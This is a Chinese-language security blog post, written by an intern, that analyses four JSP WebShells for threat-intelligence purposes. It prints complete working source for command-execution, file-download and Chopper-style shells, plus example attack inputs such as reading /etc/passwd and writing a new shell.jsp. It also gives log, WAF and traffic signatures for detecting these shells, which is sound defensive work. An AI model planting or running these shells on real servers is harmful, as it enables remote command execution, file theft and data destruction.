几种典型 JSP WebShell 的深度解析

前言

对于一条威胁情报信息，我们需要分析该攻击的指纹信息、相关攻击工具、属于哪个组织、相关历史事件、历史相关攻击源IP等信息。通过这些信息进行关联分析，找到攻击来源。并根据攻击组织或个人的攻击偏好，做出相应的安全防护及进一步追踪溯源。

本文分析 Jsp WebShell 样本是通用型的，不需关注制作者是谁。但需要分析该 WebShell 的指纹、利用方式、相关工具等信息。

正文

环境搭建：

• VMware + Windows XP iso + JspStudy / (Tomcat + JDK 1.7 + Mysql )，XP 设置桥接模式+虚拟机内配置 IPv4 与本机相同 C 段 IP。

• 创建相关 WebShell 文件，使用 JspStudy 方式搭建环境，文件置于 JspStudy \ WWW 目录下。使用 Tomcat + JDK 1.7 + Mysql 方式，将文件置于 apache-tomcat-7.0.82 \ webapps \ ROOT 目录下。

  本文将分析 4 个典型的JSP WebShell。分别是：

  (1) 无回显执行命令

  (2) 有回显带密码验证

  (3) 远程执行下载文件

  (4) 菜刀型 WebShell

1.无回显执行命令的WebShell

代码如下：

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

打开 FireFox，连接该 WebShell页面显示空。使用 hackbar 执行指令：

执行成功，创建 c.txt 文件：

1.1 代码分析

Runtime.getRuntime().exec（） 方法是 Java 中用于执行外部的程序或命令的函数。 Runtime.getRuntime().exec共有六个重载方法，此次实验，我们使用第一个重载方法，仅传入字符串型指令。

request.getParameter("i") 方法是获取 URL 中传入的参数的值。方法中已指定参数 i ，因此只接受参数 i=xxxx。

根据代码分析，可以得知该 WebShell 功能为执行系统命令，无输出内容显示。权限为 Administrator。

1.2 特征分析

该 WebShell 只能执行系统命令，且无法在页面显示。因此当攻击者使用该 WebShell 时，Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST请求该 URL，并且传入系统命令。

下面是在不同操作系统中利用该WebShell执行系统命令的例子，基于该行为特征，在日志中可发现该类型的 JSP WebShell。 Windows系统请求参数：

• cmd /c echo xxxx(WebShell代码)>shell.jsp

Linux系统请求参数：

• cat /etc/passwd >1.txt(网页访问该文件，得到账户密码)

2.有回显带密码验证

代码如下：

<%
    if("023".equals(request.getParameter("pwd")))
    {
        java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

连接 WebShell,使用密码 023 及指令 ipconfig。页面回显出执行命令后的结果：

2.1 代码分析：

密码为 023，通过获取传入的 pwd 参数的值。使用 equals 方法进行比较：

"023".equals(request.getParameter("pwd"))

执行i参数传入的指令，将会返回数据。通过 getInputStream() 方法获取数据的字节流：

Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

创建字节数组，用于存储字节数据。且该数组大小为 2048 字节：

byte[] b = new byte[2048];

while 循环中，不断的读取之前返回的字节流。每次读取一个字节，并转换为 string 类型输出，直到 in.read() 读取完所有数据返回结果为 -1。为了能在浏览器页面显示，使用 HTML 标签 <pre></pre> 包含数据：

 out.print("<pre>");
     while((a=in.read(b))!=-1)
     {
         out.println(new String(b));
     }
 out.print("</pre>");

2.2 特征分析

对比上一个 WebShell,多了回显功能及密码验证功能。该 WebShell 的利用需传入密码及系统命令两个参数。因此，Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST访问该 URL，只传入密码和系统命令。 基于该行为特征，在日志中可发现该类型的 JSP WebShell。不仅能发现连接密码，同时可发现攻击者执行的系统命令。下面是执行系统命令的例子：

Windows系统请求参数：

• cmd /c echo xxxx(WebShell代码)>shell.jsp

Linux系统请求参数：

• cat /etc/passwd >1.txt(网页访问该文件，得到账户密码)

3.远程执行下载文件

代码如下：

<%
    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
    byte[] b = new byte[1024];
    java.io.ByteArrayOutputStream baos = new
    java.io.ByteArrayOutputStream();
    int a = -1;
    while ((a = in.read(b)) != -1)
    {
        baos.write(b, 0, a);
    }
    new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>

该 WebShell 只有下载文件的功能，无法执行系统命令。传入文件名称和文件下载 URL，连接该 WebShell：

下载完成之后，在当前路径下生成 1.png 文件：

3.1 代码分析：

获取参数 u 的值，打开该 URL 获取字节流：

java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

创建字节流数组,用于存入下载文件的字节流数据：

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

将字节流数据写入字节流数组中：

while ((a = in.read(b)) != -1)
{
        baos.write(b, 0, a);
}

因为 getRealPath("/")，传入路径为 "/"。获取当前 WebShell 所在文件夹的绝对路径。若文件夹外并不存在参数f所传入的文件名，则创建该文件，并写入字节流数组数据：

new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());

3.2 特征分析：

通过 WebShell 检测工具 D 盾对该 WebShell 进行检测，发现检测正常：

此类 WebShell 的主要功能为下载文件，并且在浏览器页面没有回显。主要存在于 Windows 系统的服务器中。通过 Web 日志及 DPI 等防护设备，可发现攻击者GET/POST访问的 jsp 路径后面包含其他 URL，且通过该 URL 可下载文件。

4.菜刀型WebShell

该 WebShell 网上随处可见，可以很容易找到。代码较多，刚开始看的时候，能看明白各个函数的作用。却没法梳理出一个大体的利用流程。因此使用了一个很重要的分析工具 WireShark。

4.1 代码分析：

4.1.1文件操作

导入程序中需要用到的包，包含所需的功能：

<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" %>

登陆连接 定义密码：

String Pwd = "PW";

使用菜刀工具，登录 WebShell 并使用 WireShark 抓取。WireShark 过滤条件为 ip.addr == 192.168.xxx.xxx(所配置的虚拟机IP地址) and http。

从抓取的流量中可以得到两个参数 PW=A，z0=GB2312。 z0 的值代表字体格式，那么 PW 的值可能为判断条件。 查看源代码，找到与 PW 参数的值相关的运行代码：

 String cs = request.getParameter("z0") + "";
 request.setCharacterEncoding(cs);
 response.setContentType("text/html;charset=" + cs);
 String Z = EC(request.getParameter(Pwd) + "", cs);
 String z1 = EC(request.getParameter("z1") + "", cs);
 String z2 = EC(request.getParameter("z2") + "", cs);
 StringBuffer sb = new StringBuffer("");
 try
 {
  sb.append("->" + "|");
  if (Z.equals("A"))
  {
   String s = new File(application.getRealPath(request.getRequestURI())).getParent();
   sb.append(s + "\t");
   if (!s.substring(0, 1).equals("/"))
   {
       AA(sb);
   }
  }
 }

1) 上述代码中， Pwd="PW",cs= "GB2312",因此 Z="A"：

String Z = EC(request.getParameter(Pwd) + "", cs);

2) 获取当前页面所在服务器的绝对路径:

String s = new File(application.getRealPath(request.getRequestURI())).getParent();

3) 判断当前路径字符串第一个字符是否为 "/",若不是则调用方法 AA()：

if (!s.substring(0, 1).equals("/"))

4) AA() 方法中， File.listRoots() 首先获取所有可用的文件系统的根目录对象的数组。并通过 StringBuffer的append() 将数组追加，转换为字符串类型。

void AA(StringBuffer sb) throws Exception
{
 File r[] = File.listRoots();
 for (int i = 0; i < r.length; i++)
 {
  sb.append(r[i].toString().substring(0, 2));
 }
}

5)最后输出 out.print(sb.toString()); 即输出 "C: D:"，并在菜刀界面显示：

打开C盘查看C盘目录下的文件：

根据 PW="B",找到判断条件：

 else if (Z.equals("B")) {
  BB(z1, sb);
 }

查看方法 BB()：

void BB(String s, StringBuffer sb) throws Exception
{
 File oF = new File(s), l[] = oF.listFiles();
 String sT, sQ, sF = "";
 java.util.Date dt;
 SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
 for (int i = 0; i < l.length; i++)
 {
  dt = new java.util.Date(l[i].lastModified());
  sT = fm.format(dt);
  sQ = l[i].canRead() ? "R" : "";
  sQ += l[i].canWrite() ? " W" : "";
  if (l[i].isDirectory()) {
   sb.append(l[i].getName() +
    "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
         } else {
   sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
  }
 }
 sb.append(sF);
}

1) 读取盘下所有文件：

l[] = oF.listFiles();

2) 定义文件修改时间的格式：

SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

3) 获取第i个文件的最新修改时间：

new java.util.Date(l[i].lastModified());

4) 对文件的读写进行判断，并增加标识：

sQ  = l[i].canRead()  ? "R" : "";
sQ += l[i].canWrite() ? "W" : "";

5) 判断是否为文件夹，若是，则增加一个文件夹标识 "/\t"。若不是，则获取文件名并追加到字符串后面：

if (l[i].isDirectory())
{
  sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
}
else
{
  sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}

6） 最后返回多行字符串，代表每个文件或文件夹所处的位置：

打开文本文件 得到 PW="C" 及 z1 中显示所操作文件的路径：

1） 查看C对应执行的代码：

 else if (Z.equals("C"))
 {
  String l = "";
  BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
  while ((l = br.readLine()) != null)
  {
   sb.append(l + "\r\n");
  }
  br.close();
 }

2） 下面代码实现读取当前文件的内容，并读取每行数据追加到字符串后门：

BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));`
while ((l = br.readLine()) != null)
{
    sb.append(l + "\r\n");
}

修改文本文件

根据之前的规律，找到修改文件时调用的程序代码：

else if (Z.equals("D"))
{
  BufferedWriter
  bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
  bw.write(z2);
  bw.close();
  sb.append("1");
 }

1） 利用缓冲字符流打开文本文件：

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

2） 向文本文件写入修改的部分： bw.write(z2);。

删除文件

1） 找到具有删除功能的程序代码

 else if (Z.equals("E"))
 {
  EE(z1);
  sb.append("1");
 }

2） 调用方法 EE()：

void EE(String s) throws Exception
{
 File f = new File(s);
 if (f.isDirectory())
 {
  File x[] = f.listFiles();
  for (int k = 0; k < x.length; k++)
  {
   if (!x[k].delete())
   {
    EE(x[k].getPath());
   }
  }
 }
 f.delete();
}

3） 如果删除的文件为一个文件夹，则递归删除文件夹内所有文件。若非文件夹，则直接删除：

if (f.isDirectory())
{
  File x[] = f.listFiles();
  for (int k = 0; k < x.length; k++)
  {
   if (!x[k].delete())
   {
    EE(x[k].getPath());
   }
  }
 }
 f.delete();

4.1.2命令执行

CMD 指令，输入 ipconfig。返回内容较少是因为组设置大小为 1024 字节：

1） 查看抓取的流量数据：

2） 获取参数： W = M，z0 = GB2312，z1 = /ccmd，z2=cd /d "C:\apache-tomcat-7.0.82-windows-x86\apache-tomcat-7.0.82\webapps\ROOT\2\"&ipconfig&echo [S]&cd&echo [E]。

3） 该操作执行下面代码：

else if (Z.equals("M"))
{
  String[] c =
    {
      z1.substring(2), z1.substring(0, 2), z2
    };
  Process p = Runtime.getRuntime().exec(c);
  MM(p.getInputStream(), sb);
  MM(p.getErrorStream(), sb);
 }

4） 调用 MM 方法：

void MM(InputStream is, StringBuffer sb) throws Exception
{
 String l;
 BufferedReader br = new BufferedReader(new InputStreamReader(is));
 while ((l = br.readLine()) != null)
 {
  sb.append(l + "\r\n");
 }
}

5） 执行上述字符串数组 c， c 为 cmd /c z2：

Process p = Runtime.getRuntime().exec(c);

6） 将字节流数据转换为缓冲字符流，并追加到字符串后面：

BufferedReader br = new BufferedReader(new InputStreamReader(is));
 while ((l = br.readLine()) != null)
 {
  sb.append(l + "\r\n");
 }

4.1.3数据库操作

对数据库的操作的相关代码是 Java 对数据库执行 CRUD 操作的代码。因此该操作只分析登录数据库时的代码。连接数据库需提前知道数据库的账户和密码。抓取菜刀进行数据库操作的流量，本次登录的是 mysql 数据库：

参数 z1 传入的是 Java 连接数据库是使用的 API，即 JDBC：

z1 = com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456

执行数据库登录的相关代码如下：

else if (Z.equals("N"))
{
  NN(z1, sb);
 }

1) 调用 NN 方法：

void NN(String s, StringBuffer sb) throws Exception
{
 Connection c = GC(s);
 ResultSet r = c.getMetaData().getCatalogs();
 while (r.next())
 {
  sb.append(r.getString(1) + "\t");
 }
 r.close();
 c.close();
}

2) 连接数据库，返回 connect 接口：

Connection c = GC(s);

3) 获取数据库数据，从中获取数据库名称列表：

ResultSet r = c.getMetaData().getCatalogs();

4) 循环读取下一个名称，追加到字符串中：

while (r.next())
{
  sb.append(r.getString(1) + "\t");
 }

4.1.4 代码执行过程

经过分析，对菜刀 JSP WebShell 代码的整体执行过程有了大致的了解：

<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.* ......." %>
<% !
            定义变量  Pwd....//登录密码
            定义函数AA()、BB()、CC()......
%>
<%
      ......
      request.getParameter("z0")//获取参数Pwd,z0,z1,z2.....
      .....
      String Z=  EC(request.getParameter(Pwd)+””,cs);
      if     (Z.equals("A"))    { AA(相关参数)  }
      else if(Z.equals("B"))    { BB(相关参数)  }
      else if(Z.equals("C"))    { CC(相关参数)  }
      .......
      输出字符串
%>

流程图如下：

4.2 特征分析

根据抓取的流量显示，对 WebShell 所做的操作的结果，都会以字符串的形式返回给菜刀进行处理，并显示出来。字符串形式为 "->|xxxx|<-"，为菜刀 WebShell 的特征字符。若发现成功利用菜刀 WebShell 的行为，基于该特征字符，将会在 DPI 中发现此类攻击事件。

同时，该 WebShell 对数据库的操作，需要知道目标主机数据库的账户和密码。如果发现成功访问数据库的流量数据，则说明该主机数据库信息已泄露。攻击者在此之前利用了 sql 注入、社工、爆破等渗透方式进行了入侵。需通过历史事件中对可疑攻击进行关联分析。

5 总结

通过对 WebShell 代码的分析，可以深入了解其功能和特征信息，有利于我们对攻击来源和意图有更好的理解。仅通过攻击结果来分析问题，会忽略很多重要信息，无法准确描绘出黑客画像。

以上是我在实习期间的一些感悟，后期我会不断把自己的研究成果分享出来。谢谢各位！